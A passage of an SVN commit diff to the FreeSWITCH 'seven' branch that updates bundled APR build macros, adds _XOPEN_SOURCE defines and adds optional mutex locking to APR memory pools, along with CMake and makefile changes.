+#awk -f /Users/shaneburrell/freeswitch-svn-real/libs/apr/build/make_var_export.awk /Users/shaneburrell/freeswitch-svn-real/apr_thread_mutex.h /Users/shaneburrell/freeswitch-svn-real/apr_env.h /Users/shaneburrell/freeswitch-svn-real/apr_poll.h /Users/shaneburrell/freeswitch-svn-real/apr_fnmatch.h /Users/shaneburrell/freeswitch-svn-real/apr_global_mutex.h /Users/shaneburrell/freeswitch-svn-real/apr_pools.h /Users/shaneburrell/freeswitch-svn-real/apr_want.h /Users/shaneburrell/freeswitch-svn-real/apr_file_io.h /Users/shaneburrell/freeswitch-svn-real/apr_version.h /Users/shaneburrell/freeswitch-svn-real/apr_mmap.h /Users/shaneburrell/freeswitch-svn-real/apr_dso.h /Users/shaneburrell/freeswitch-svn-real/apr_thread_proc.h /Users/shaneburrell/freeswitch-svn-real/apr_errno.h /Users/shaneburrell/freeswitch-svn-real/apr_shm.h /Users/shaneburrell/freeswitch-svn-real/apr_network_io.h /Users/shaneburrell/freeswitch-svn-real/apr_signal.h /Users/shaneburrell/freeswitch-svn-real/apr_user.h /Users/shaneburrell/freeswitch-svn-real/apr_support.h /Users/shaneburrell/freeswitch-svn-real/apr_atomic.h /Users/shaneburrell/freeswitch-svn-real/apr_random.h /Users/shaneburrell/freeswitch-svn-real/apr_thread_cond.h /Users/shaneburrell/freeswitch-svn-real/apr_thread_rwlock.h /Users/shaneburrell/freeswitch-svn-real/apr_getopt.h /Users/shaneburrell/freeswitch-svn-real/apr_inherit.h /Users/shaneburrell/freeswitch-svn-real/apr_strings.h /Users/shaneburrell/freeswitch-svn-real/apr_general.h /Users/shaneburrell/freeswitch-svn-real/apr_proc_mutex.h /Users/shaneburrell/freeswitch-svn-real/apr_tables.h /Users/shaneburrell/freeswitch-svn-real/apr_ring.h /Users/shaneburrell/freeswitch-svn-real/apr_file_info.h /Users/shaneburrell/freeswitch-svn-real/apr_allocator.h /Users/shaneburrell/freeswitch-svn-real/apr_portable.h /Users/shaneburrell/freeswitch-svn-real/apr_hash.h /Users/shaneburrell/freeswitch-svn-real/apr_time.h /Users/shaneburrell/freeswitch-svn-real/apr_lib.h > export_vars.c
+
+#awk -f /Users/shaneburrell/freeswitch-svn-real/libs/apr/build/make_exports.awk /Users/shaneburrell/freeswitch-svn-real/apr_thread_mutex.h /Users/shaneburrell/freeswitch-svn-real/apr_env.h /Users/shaneburrell/freeswitch-svn-real/apr_poll.h /Users/shaneburrell/freeswitch-svn-real/apr_fnmatch.h /Users/shaneburrell/freeswitch-svn-real/apr_global_mutex.h /Users/shaneburrell/freeswitch-svn-real/apr_pools.h /Users/shaneburrell/freeswitch-svn-real/apr_want.h /Users/shaneburrell/freeswitch-svn-real/apr_file_io.h /Users/shaneburrell/freeswitch-svn-real/apr_version.h /Users/shaneburrell/freeswitch-svn-real/apr_mmap.h /Users/shaneburrell/freeswitch-svn-real/apr_dso.h /Users/shaneburrell/freeswitch-svn-real/apr_thread_proc.h /Users/shaneburrell/freeswitch-svn-real/apr_errno.h /Users/shaneburrell/freeswitch-svn-real/apr_shm.h /Users/shaneburrell/freeswitch-svn-real/apr_network_io.h /Users/shaneburrell/freeswitch-svn-real/apr_signal.h /Users/shaneburrell/freeswitch-svn-real/apr_user.h /Users/shaneburrell/freeswitch-svn-real/apr_support.h /Users/shaneburrell/freeswitch-svn-real/apr_atomic.h /Users/shaneburrell/freeswitch-svn-real/apr_random.h /Users/shaneburrell/freeswitch-svn-real/apr_thread_cond.h /Users/shaneburrell/freeswitch-svn-real/apr_thread_rwlock.h /Users/shaneburrell/freeswitch-svn-real/apr_getopt.h /Users/shaneburrell/freeswitch-svn-real/apr_inherit.h /Users/shaneburrell/freeswitch-svn-real/apr_strings.h /Users/shaneburrell/freeswitch-svn-real/apr_general.h /Users/shaneburrell/freeswitch-svn-real/apr_proc_mutex.h /Users/shaneburrell/freeswitch-svn-real/apr_tables.h /Users/shaneburrell/freeswitch-svn-real/apr_ring.h /Users/shaneburrell/freeswitch-svn-real/apr_file_info.h /Users/shaneburrell/freeswitch-svn-real/apr_allocator.h /Users/shaneburrell/freeswitch-svn-real/apr_portable.h /Users/shaneburrell/freeswitch-svn-real/apr_hash.h /Users/shaneburrell/freeswitch-svn-real/apr_time.h /Users/shaneburrell/freeswitch-svn-real/apr_lib.h > exports.c
+#gcc -E -DHAVE_CONFIG_H -DDARWIN -DSIGPROCMASK_SETS_THREAD_MASK -no-cpp-precomp   -I./include -I/Users/shaneburrell/freeswitch-svn-real/arch/unix -I./include/arch/unix -I/Users/shaneburrell/freeswitch-svn-real  exports.c | grep "ap_hack_" | sed -e 's/^.*[)]\(.*\);$/\1/' >> apr.exp
+#gcc -E -DHAVE_CONFIG_H -DDARWIN -DSIGPROCMASK_SETS_THREAD_MASK -no-cpp-precomp   -I./include -I/Users/shaneburrell/freeswitch-svn-real/arch/unix -I./include/arch/unix -I/Users/shaneburrell/freeswitch-svn-real  export_vars.c | sed -e 's/^\#[^!]*//' | sed -e '/^$/d' >> apr.exp
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+

Property changes: freeswitch/branches/seven/libs/apr/build


Name: svn:ignore
   - apr_rules.out
apr_rules.mk
config.guess
ltmain.sh
libtool.m4
   + apr_rules.out
apr_rules.mk
config.guess
ltmain.sh
libtool.m4
config.sub
install-sh

Modified: freeswitch/branches/seven/libs/apr/build/apr_common.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/apr/build/apr_common.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr/build/apr_common.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -461,7 +461,9 @@
 AC_CACHE_VAL(AC_CV_NAME,
 [AC_TRY_RUN([#include <stdio.h>
 $1
-main()
+#include <stdlib.h>
+
+int main(void)
 {
   FILE *f=fopen("conftestval","w");
   if (!f) exit(1);
@@ -517,7 +519,7 @@
 #include <errno.h>
 #include <string.h>
 #include <stdio.h>
-main()
+int main(void)
 {
   char buf[1024];
   if (strerror_r(ERANGE, buf, sizeof buf) < 1) {
@@ -942,7 +944,7 @@
 dnl <sys/types.h> should be available everywhere!
   cat > conftest.c <<EOF
 #include <sys/types.h>
-  int main() { return 0; }
+  int main(void) { return 0; }
 EOF
   MKDEP="true"
   for i in "$CC -MM" "$CC -M" "$CPP -MM" "$CPP -M" "cpp -M"; do

Modified: freeswitch/branches/seven/libs/apr/build/apr_hints.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/apr/build/apr_hints.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr/build/apr_hints.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -35,7 +35,7 @@
 dnl  Generally, we force the setting of CC, and add flags
 dnl  to CFLAGS, CPPFLAGS, LIBS and LDFLAGS. 
 dnl
-AC_DEFUN(APR_PRELOAD, [
+AC_DEFUN([APR_PRELOAD], [
 if test "x$apr_preload_done" != "xyes" ; then
 
   apr_preload_done="yes"
@@ -431,7 +431,7 @@
 dnl
 dnl  Allows us to provide a default choice of compiler which
 dnl  the user can override.
-AC_DEFUN(APR_CC_HINTS, [
+AC_DEFUN([APR_CC_HINTS], [
 case "$host" in
   *-apple-aux3*)
       APR_SETIFNULL(CC, [gcc])

Modified: freeswitch/branches/seven/libs/apr/build/apr_network.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/apr/build/apr_network.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr/build/apr_network.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -25,7 +25,7 @@
 dnl can't use getaddrinfo() because we can't get strings
 dnl describing the error codes.
 dnl
-AC_DEFUN(APR_CHECK_WORKING_GETADDRINFO,[
+AC_DEFUN([APR_CHECK_WORKING_GETADDRINFO],[
   AC_CACHE_CHECK(for working getaddrinfo, ac_cv_working_getaddrinfo,[
   AC_TRY_RUN( [
 #ifdef HAVE_NETDB_H
@@ -41,7 +41,7 @@
 #include <sys/socket.h>
 #endif
 
-void main(void) {
+int main(void) {
     struct addrinfo hints, *ai;
     int error;
 
@@ -74,7 +74,7 @@
 ])
 
 dnl Check whether the AI_ADDRCONFIG flag can be used with getaddrinfo
-AC_DEFUN(APR_CHECK_GETADDRINFO_ADDRCONFIG, [
+AC_DEFUN([APR_CHECK_GETADDRINFO_ADDRCONFIG], [
   AC_CACHE_CHECK(for working AI_ADDRCONFIG, apr_cv_gai_addrconfig, [
   AC_TRY_RUN([
 #ifdef HAVE_NETDB_H
@@ -110,7 +110,7 @@
 dnl
 dnl check for working getnameinfo()
 dnl
-AC_DEFUN(APR_CHECK_WORKING_GETNAMEINFO,[
+AC_DEFUN([APR_CHECK_WORKING_GETNAMEINFO],[
   AC_CACHE_CHECK(for working getnameinfo, ac_cv_working_getnameinfo,[
   AC_TRY_RUN( [
 #ifdef HAVE_NETDB_H
@@ -129,7 +129,7 @@
 #include <netinet/in.h>
 #endif
 
-void main(void) {
+int main(void) {
     struct sockaddr_in sa;
     char hbuf[256];
     int error;
@@ -165,14 +165,14 @@
 dnl
 dnl check for negative error codes for getaddrinfo()
 dnl
-AC_DEFUN(APR_CHECK_NEGATIVE_EAI,[
+AC_DEFUN([APR_CHECK_NEGATIVE_EAI],[
   AC_CACHE_CHECK(for negative error codes for getaddrinfo, ac_cv_negative_eai,[
   AC_TRY_RUN( [
 #ifdef HAVE_NETDB_H
 #include <netdb.h>
 #endif
 
-void main(void) {
+int main(void) {
     if (EAI_ADDRFAMILY < 0) {
         exit(0);
     }
@@ -197,7 +197,7 @@
 dnl
 dnl Note that this test is executed too early to see if we have all of
 dnl the headers.
-AC_DEFUN(APR_CHECK_GETHOSTBYNAME_R_STYLE,[
+AC_DEFUN([APR_CHECK_GETHOSTBYNAME_R_STYLE],[
 
 dnl Try and compile a glibc2 gethostbyname_r piece of code, and set the
 dnl style of the routines to glibc2 on success
@@ -257,7 +257,7 @@
 dnl
 dnl see if TCP_NODELAY setting is inherited from listening sockets
 dnl
-AC_DEFUN(APR_CHECK_TCP_NODELAY_INHERITED,[
+AC_DEFUN([APR_CHECK_TCP_NODELAY_INHERITED],[
   AC_CACHE_CHECK(if TCP_NODELAY setting is inherited from listening sockets, ac_cv_tcp_nodelay_inherited,[
   AC_TRY_RUN( [
 #include <stdio.h>
@@ -425,7 +425,7 @@
 dnl
 dnl see if O_NONBLOCK setting is inherited from listening sockets
 dnl
-AC_DEFUN(APR_CHECK_O_NONBLOCK_INHERITED,[
+AC_DEFUN([APR_CHECK_O_NONBLOCK_INHERITED],[
   AC_CACHE_CHECK(if O_NONBLOCK setting is inherited from listening sockets, ac_cv_o_nonblock_inherited,[
   AC_TRY_RUN( [
 #include <stdio.h>
@@ -538,7 +538,7 @@
 dnl 
 dnl check for socklen_t, fall back to unsigned int
 dnl
-AC_DEFUN(APR_CHECK_SOCKLEN_T,[
+AC_DEFUN([APR_CHECK_SOCKLEN_T],[
 AC_CACHE_CHECK(for socklen_t, ac_cv_socklen_t,[
 AC_TRY_COMPILE([
 #ifdef HAVE_SYS_TYPES_H
@@ -562,7 +562,7 @@
 ])
 
 
-AC_DEFUN(APR_CHECK_INET_ADDR,[
+AC_DEFUN([APR_CHECK_INET_ADDR],[
 AC_CACHE_CHECK(for inet_addr, ac_cv_func_inet_addr,[
 AC_TRY_COMPILE([
 #ifdef HAVE_SYS_TYPES_H
@@ -588,7 +588,7 @@
 ])
 
 
-AC_DEFUN(APR_CHECK_INET_NETWORK,[
+AC_DEFUN([APR_CHECK_INET_NETWORK],[
 AC_CACHE_CHECK(for inet_network, ac_cv_func_inet_network,[
 AC_TRY_COMPILE([
 #ifdef HAVE_SYS_TYPES_H
@@ -614,7 +614,7 @@
 ])
 
 dnl Check for presence of struct sockaddr_storage.
-AC_DEFUN(APR_CHECK_SOCKADDR_STORAGE,[
+AC_DEFUN([APR_CHECK_SOCKADDR_STORAGE],[
 AC_CACHE_CHECK(for sockaddr_storage, apr_cv_define_sockaddr_storage,[
 AC_TRY_COMPILE([
 #ifdef HAVE_SYS_TYPES_H
@@ -636,7 +636,7 @@
 ])
 
 dnl Check for presence of struct sockaddr_in6.
-AC_DEFUN(APR_CHECK_SOCKADDR_IN6,[
+AC_DEFUN([APR_CHECK_SOCKADDR_IN6],[
 AC_CACHE_CHECK(for sockaddr_in6, ac_cv_define_sockaddr_in6,[
 AC_TRY_COMPILE([
 #ifdef HAVE_SYS_TYPES_H
@@ -664,7 +664,7 @@
 dnl
 dnl APR_H_ERRNO_COMPILE_CHECK
 dnl
-AC_DEFUN(APR_H_ERRNO_COMPILE_CHECK,[
+AC_DEFUN([APR_H_ERRNO_COMPILE_CHECK],[
   if test x$1 != x; then
     CPPFLAGS="-D$1 $CPPFLAGS"
   fi
@@ -750,7 +750,7 @@
 dnl
 dnl checks which flags are necessary for <netdb.h> to define h_errno
 dnl
-AC_DEFUN(APR_CHECK_H_ERRNO_FLAG,[
+AC_DEFUN([APR_CHECK_H_ERRNO_FLAG],[
   AC_MSG_CHECKING([for h_errno in netdb.h])
   AC_CACHE_VAL(ac_cv_h_errno_cppflags,[
     APR_H_ERRNO_COMPILE_CHECK
@@ -778,7 +778,7 @@
 ])
 
 
-AC_DEFUN(APR_EBCDIC,[
+AC_DEFUN([APR_EBCDIC],[
   AC_CACHE_CHECK([whether system uses EBCDIC],ac_cv_ebcdic,[
   AC_TRY_RUN( [
 int main(void) { 

Modified: freeswitch/branches/seven/libs/apr/build/apr_threads.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/apr/build/apr_threads.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr/build/apr_threads.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -26,7 +26,7 @@
 dnl pthreads is not available.
 dnl Turn off warnings if we're using gcc.
 dnl
-AC_DEFUN(APR_CHECK_PTHREADS_H, [
+AC_DEFUN([APR_CHECK_PTHREADS_H], [
   if test "$GCC" = "yes"; then
     SAVE_FL="$CPPFLAGS"
     CPPFLAGS="$CPPFLAGS -w"
@@ -41,7 +41,7 @@
 dnl
 dnl APR_CHECK_PTHREAD_GETSPECIFIC_TWO_ARGS
 dnl
-AC_DEFUN(APR_CHECK_PTHREAD_GETSPECIFIC_TWO_ARGS, [
+AC_DEFUN([APR_CHECK_PTHREAD_GETSPECIFIC_TWO_ARGS], [
 AC_CACHE_CHECK(whether pthread_getspecific takes two arguments, ac_cv_pthread_getspecific_two_args,[
 AC_TRY_COMPILE([
 #include <pthread.h>
@@ -65,7 +65,7 @@
 dnl
 dnl APR_CHECK_PTHREAD_ATTR_GETDETACHSTATE_ONE_ARG
 dnl
-AC_DEFUN(APR_CHECK_PTHREAD_ATTR_GETDETACHSTATE_ONE_ARG, [
+AC_DEFUN([APR_CHECK_PTHREAD_ATTR_GETDETACHSTATE_ONE_ARG], [
 AC_CACHE_CHECK(whether pthread_attr_getdetachstate takes one argument, ac_cv_pthread_attr_getdetachstate_one_arg,[
 AC_TRY_COMPILE([
 #include <pthread.h>
@@ -91,7 +91,7 @@
 dnl Try running a program which uses pthreads, executing the
 dnl actions-if-success commands on success.
 dnl
-AC_DEFUN(APR_PTHREADS_TRY_RUN, [
+AC_DEFUN([APR_PTHREADS_TRY_RUN], [
 AC_TRY_RUN( [
 #include <pthread.h>
 #include <stddef.h>
@@ -100,7 +100,7 @@
     return data;
 }
 
-int main() {
+int main(void) {
     pthread_t thd;
     pthread_mutexattr_t mattr;
     pthread_once_t once_init = PTHREAD_ONCE_INIT;
@@ -122,7 +122,7 @@
 dnl Try to find a way to enable POSIX threads.  Sets the 
 dnl pthreads_working variable to "yes" on success.
 dnl
-AC_DEFUN(APR_PTHREADS_CHECK,[
+AC_DEFUN([APR_PTHREADS_CHECK],[
 
 AC_CACHE_CHECK([for CFLAGS needed for pthreads], [apr_cv_pthreads_cflags],
 [apr_ptc_cflags=$CFLAGS
@@ -182,12 +182,12 @@
 dnl the checks for threading support so that they can restored if the
 dnl result is not what the caller wanted.
 dnl
-AC_DEFUN(APR_PTHREADS_CHECK_SAVE, [
+AC_DEFUN([APR_PTHREADS_CHECK_SAVE], [
   apr_pthsv_CFLAGS="$CFLAGS"
   apr_pthsv_LIBS="$LIBS"
 ])dnl
 
-AC_DEFUN(APR_PTHREADS_CHECK_RESTORE, [
+AC_DEFUN([APR_PTHREADS_CHECK_RESTORE], [
   CFLAGS="$apr_pthsv_CFLAGS"
   LIBS="$apr_pthsv_LIBS"
 ])dnl
@@ -195,7 +195,7 @@
 dnl
 dnl APR_CHECK_SIGWAIT_ONE_ARG
 dnl
-AC_DEFUN(APR_CHECK_SIGWAIT_ONE_ARG,[
+AC_DEFUN([APR_CHECK_SIGWAIT_ONE_ARG],[
   AC_CACHE_CHECK(whether sigwait takes one argument,ac_cv_sigwait_one_arg,[
   AC_TRY_COMPILE([
 #if defined(__NETBSD__) || defined(DARWIN)
@@ -224,11 +224,15 @@
 dnl Check for recursive mutex support (per SUSv3).
 AC_DEFUN([APR_CHECK_PTHREAD_RECURSIVE_MUTEX], [
   AC_CACHE_CHECK([for recursive mutex support], [apr_cv_mutex_recursive],
-[AC_TRY_RUN([#include <sys/types.h>
+[AC_TRY_RUN([
+#ifndef __sun
+#define _XOPEN_SOURCE 600
+#endif
+#include <sys/types.h>
 #include <pthread.h>
 #include <stdlib.h>
 
-int main() {
+int main(void) {
     pthread_mutexattr_t attr;
     pthread_mutex_t m;
 

Deleted: freeswitch/branches/seven/libs/apr/build/config.sub

Modified: freeswitch/branches/seven/libs/apr/configure.in (14471 => 14472)


--- freeswitch/branches/seven/libs/apr/configure.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr/configure.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -200,8 +200,8 @@
 
 if test "x$use_libtool" = "xyes"; then
       lt_compile='$(LIBTOOL) $(LTFLAGS) --mode=compile $(COMPILE) -o $@ -c $< && touch $@'
-      LT_VERSION="-version-info `$get_version libtool $version_hdr APR`"
-      link="\$(LIBTOOL) \$(LTFLAGS) --mode=link \$(LT_LDFLAGS) \$(COMPILE) ${LT_VERSION} \$(ALL_LDFLAGS) -o \$@"
+      lt_version="-version-info `$get_version libtool $version_hdr APR`"
+      link="\$(LIBTOOL) \$(LTFLAGS) --mode=link \$(LT_LDFLAGS) \$(COMPILE) ${lt_version} \$(ALL_LDFLAGS) -o \$@"
       so_ext='lo'
       lib_target='-rpath $(libdir) $(OBJECTS)'
       export_lib_target='-rpath \$(libdir) \$(OBJECTS)'
@@ -455,7 +455,7 @@
 #include <stdio.h>
 #include <unistd.h>
 
-void main(void)
+int main(void)
 {
     int fd, ret = 0;
     struct stat64 st;

Modified: freeswitch/branches/seven/libs/apr/include/apr_pools.h (14471 => 14472)


--- freeswitch/branches/seven/libs/apr/include/apr_pools.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr/include/apr_pools.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -411,7 +411,18 @@
  */
 APR_DECLARE(void) apr_pool_tag(apr_pool_t *pool, const char *tag);
 
+#if APR_HAS_THREADS
+/**
+ * Add a mutex to a pool to make it suitable to use from multiple threads.
+ * @param pool The pool to add the mutex to
+ * @param mutex The mutex
+ * @remark The mutex does not protect the destroy operation just the low level allocs.
+ */
+APR_DECLARE(void) apr_pool_mutex_set(apr_pool_t *pool,
+									 apr_thread_mutex_t *mutex);
+#endif
 
+
 /*
  * User data management
  */
@@ -435,6 +446,7 @@
  *      key names is a typical way to help ensure this uniqueness.
  *
  */
+
 APR_DECLARE(apr_status_t) apr_pool_userdata_set(
     const void *data,
     const char *key,

Modified: freeswitch/branches/seven/libs/apr/include/arch/unix/apr_arch_proc_mutex.h (14471 => 14472)


--- freeswitch/branches/seven/libs/apr/include/arch/unix/apr_arch_proc_mutex.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr/include/arch/unix/apr_arch_proc_mutex.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,6 +17,12 @@
 #ifndef PROC_MUTEX_H
 #define PROC_MUTEX_H
 
+#ifndef __sun
+#ifndef _XOPEN_SOURCE
+#define _XOPEN_SOURCE 600
+#endif
+#endif
+
 #include "apr.h"
 #include "apr_private.h"
 #include "apr_general.h"

Modified: freeswitch/branches/seven/libs/apr/include/arch/unix/apr_arch_thread_mutex.h (14471 => 14472)


--- freeswitch/branches/seven/libs/apr/include/arch/unix/apr_arch_thread_mutex.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr/include/arch/unix/apr_arch_thread_mutex.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,6 +17,12 @@
 #ifndef THREAD_MUTEX_H
 #define THREAD_MUTEX_H
 
+#ifndef __sun
+#ifndef _XOPEN_SOURCE
+#define _XOPEN_SOURCE 600
+#endif
+#endif
+
 #include "apr.h"
 #include "apr_private.h"
 #include "apr_general.h"

Modified: freeswitch/branches/seven/libs/apr/memory/unix/apr_pools.c (14471 => 14472)


--- freeswitch/branches/seven/libs/apr/memory/unix/apr_pools.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr/memory/unix/apr_pools.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -449,7 +449,9 @@
     apr_abortfunc_t       abort_fn;
     apr_hash_t           *user_data;
     const char           *tag;
-
+#if APR_HAS_THREADS
+	apr_thread_mutex_t   *user_mutex;
+#endif
 #if !APR_POOL_DEBUG
     apr_memnode_t        *active;
     apr_memnode_t        *self; /* The node containing the pool itself */
@@ -471,6 +473,7 @@
 #endif /* APR_POOL_DEBUG */
 #ifdef NETWARE
     apr_os_proc_t         owner_proc;
+
 #endif /* defined(NETWARE) */
 };
 
@@ -594,9 +597,11 @@
 APR_DECLARE(void *) apr_palloc(apr_pool_t *pool, apr_size_t size)
 {
     apr_memnode_t *active, *node;
-    void *mem;
+    void *mem = NULL;
     apr_size_t free_index;
-
+#if APR_HAS_THREADS
+	if (pool->user_mutex) apr_thread_mutex_lock(pool->user_mutex);
+#endif
     size = APR_ALIGN_DEFAULT(size);
     active = pool->active;
 
@@ -605,7 +610,7 @@
         mem = active->first_avail;
         active->first_avail += size;
 
-        return mem;
+		goto end;
     }
 
     node = active->next;
@@ -617,7 +622,8 @@
             if (pool->abort_fn)
                 pool->abort_fn(APR_ENOMEM);
 
-            return NULL;
+			mem = NULL;
+			goto end;
         }
     }
 
@@ -636,7 +642,7 @@
     active->free_index = (APR_UINT32_TRUNC_CAST)free_index;
     node = active->next;
     if (free_index >= node->free_index)
-        return mem;
+		goto end;
 
     do {
         node = node->next;
@@ -646,6 +652,10 @@
     list_remove(active);
     list_insert(active, node);
 
+ end:
+#if APR_HAS_THREADS
+	if (pool->user_mutex) apr_thread_mutex_unlock(pool->user_mutex);
+#endif
     return mem;
 }
 
@@ -678,7 +688,9 @@
 APR_DECLARE(void) apr_pool_clear(apr_pool_t *pool)
 {
     apr_memnode_t *active;
-
+#if APR_HAS_THREADS
+	if (pool->user_mutex) apr_thread_mutex_lock(pool->user_mutex);
+#endif
     /* Destroy the subpools.  The subpools will detach themselves from
      * this pool thus this loop is safe and easy.
      */
@@ -704,14 +716,27 @@
     active->first_avail = pool->self_first_avail;
 
     if (active->next == active)
-        return;
+        goto end;
 
     *active->ref = NULL;
     allocator_free(pool->allocator, active->next);
     active->next = active;
     active->ref = &active->next;
+
+ end:
+#if APR_HAS_THREADS
+	if (pool->user_mutex) apr_thread_mutex_unlock(pool->user_mutex);
+#endif
 }
 
+#if APR_HAS_THREADS
+APR_DECLARE(void) apr_pool_mutex_set(apr_pool_t *pool,
+									 apr_thread_mutex_t *mutex)
+{
+    pool->user_mutex = mutex;
+}
+#endif
+
 APR_DECLARE(void) apr_pool_destroy(apr_pool_t *pool)
 {
     apr_memnode_t *active;
@@ -820,7 +845,9 @@
     pool->subprocesses = NULL;
     pool->user_data = NULL;
     pool->tag = NULL;
-
+#if APR_HAS_THREADS
+	pool->user_mutex = NULL;
+#endif
 #ifdef NETWARE
     pool->owner_proc = (apr_os_proc_t)getnlmhandle();
 #endif /* defined(NETWARE) */
@@ -963,6 +990,10 @@
     apr_memnode_t *active, *node;
     apr_size_t free_index;
 
+#if APR_HAS_THREADS
+	if (pool->user_mutex) apr_thread_mutex_lock(pool->user_mutex);
+#endif
+
     ps.node = active = pool->active;
     ps.pool = pool;
     ps.vbuff.curpos  = ps.node->first_avail;
@@ -981,7 +1012,8 @@
                 pool->abort_fn(APR_ENOMEM);
             }
 
-            return NULL;
+            strp = NULL;
+			goto end;
         }
     }
 
@@ -989,7 +1021,8 @@
         if (pool->abort_fn)
             pool->abort_fn(APR_ENOMEM);
 
-        return NULL;
+        strp = NULL;
+		goto end;
     }
 
     strp = ps.vbuff.curpos;
@@ -1006,8 +1039,8 @@
     /*
      * Link the node in if it's a new one
      */
-    if (!ps.got_a_new_node)
-        return strp;
+    if (!ps.got_a_new_node) 
+        goto end;
 
     active = pool->active;
     node = ps.node;
@@ -1025,7 +1058,7 @@
     node = active->next;
 
     if (free_index >= node->free_index)
-        return strp;
+        goto end;
 
     do {
         node = node->next;
@@ -1035,6 +1068,12 @@
     list_remove(active);
     list_insert(active, node);
 
+ end:
+
+#if APR_HAS_THREADS
+	if (pool->user_mutex) apr_thread_mutex_unlock(pool->user_mutex);
+#endif
+
     return strp;
 }
 

Property changes: freeswitch/branches/seven/libs/apr-util


Name: svn:ignore
   - a.out.dSYM
configure
autom4te.cache
exports.c
config.log
.complete
apu-config.out
apr-util.pc
.libs
Makefile
config.nice
export_vars.sh
apu-1-config
config.status
.make.dirs
export_vars.c
aprutil.exp
   + a.out.dSYM
configure
autom4te.cache
exports.c
config.log
.complete
apu-config.out
apr-util.pc
.libs
Makefile
config.nice
export_vars.sh
apu-1-config
config.status
.make.dirs
export_vars.c
aprutil.exp
configure.lineno

Modified: freeswitch/branches/seven/libs/apr-util/.update (14471 => 14472)


--- freeswitch/branches/seven/libs/apr-util/.update	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr-util/.update	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1 +1 @@
-Thu May  8 18:41:57 EDT 2008
+Wed May 13 10:54:08 CDT 2009

Copied: freeswitch/branches/seven/libs/apr-util/CMakeLists.txt (from rev 14471, freeswitch/trunk/libs/apr-util/CMakeLists.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/apr-util/CMakeLists.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/apr-util/CMakeLists.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+cmake_minimum_required(VERSION 2.6)
+
+INCLUDE_DIRECTORIES(include/) 
+
+add_definitions(-DHAVE_CONFIG_H -DDARWIN -DSIGPROCMASK_SETS_THREAD_MASK)
+INCLUDE_DIRECTORIES(BEFORE ${CMAKE_SOURCE_DIR}/libs/apr-util/include ${CMAKE_SOURCE_DIR}/libs/apr-util/include/private  ${CMAKE_SOURCE_DIR}/libs/apr/include)    
+
+
+SET (apr-util_SRCS
+crypto/apr_md5.c 
+crypto/uuid.c 
+crypto/apr_sha1.c 
+crypto/getuuid.c
+crypto/apr_md4.c
+encoding/apr_base64.c
+hooks/apr_hooks.c
+misc/apr_reslist.c 
+misc/apr_rmm.c 
+misc/apr_date.c
+misc/apu_version.c
+misc/apr_queue.c
+uri/apr_uri.c
+strmatch/apr_strmatch.c
+xlate/xlate.c 
+)
+
+LINK_LIBRARIES ("-liconv -ldl -lpthread")
+
+ADD_LIBRARY(apr-util STATIC ${apr-util_SRCS})
+
+
+
+
+
+
+

Modified: freeswitch/branches/seven/libs/apr-util/build-outputs.mk (14471 => 14472)


--- freeswitch/branches/seven/libs/apr-util/build-outputs.mk	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/apr-util/build-outputs.mk	2009-08-09 18:53:22 UTC (rev 14472)
@@ -13,10 +13,11 @@
 misc/apu_version.lo: misc/apu_version.c .make.dirs include/apu_version.h
 misc/apr_queue.lo: misc/apr_queue.c .make.dirs include/apr_queue.h
 uri/apr_uri.lo: uri/apr_uri.c .make.dirs include/apr_uri.h
+xml/apr_xml.lo: xml/apr_xml.c .make.dirs include/apr_xml.h include/apr_xlate.h
 strmatch/apr_strmatch.lo: strmatch/apr_strmatch.c .make.dirs include/apr_strmatch.h
 xlate/xlate.lo: xlate/xlate.c .make.dirs include/apr_xlate.h
 
-OBJECTS_all = crypto/apr_md5.lo crypto/uuid.lo crypto/apr_sha1.lo crypto/getuuid.lo crypto/apr_md4.lo encoding/apr_base64.lo hooks/apr_hooks.lo misc/apr_reslist.lo misc/apr_rmm.lo misc/apr_date.lo misc/apu_version.lo misc/apr_queue.lo uri/apr_uri.lo strmatch/apr_strmatch.lo xlate/xlate.lo
+OBJECTS_all = crypto/apr_md5.lo crypto/uuid.lo crypto/apr_sha1.lo crypto/getuuid.lo crypto/apr_md4.lo encoding/apr_base64.lo hooks/apr_hooks.lo misc/apr_reslist.lo misc/apr_rmm.lo misc/apr_date.lo misc/apu_version.lo misc/apr_queue.lo uri/apr_uri.lo xml/apr_xml.lo strmatch/apr_strmatch.lo xlate/xlate.lo
 
 OBJECTS_unix = $(OBJECTS_all)
 
@@ -28,11 +29,11 @@
 
 OBJECTS_os390 = $(OBJECTS_all)
 
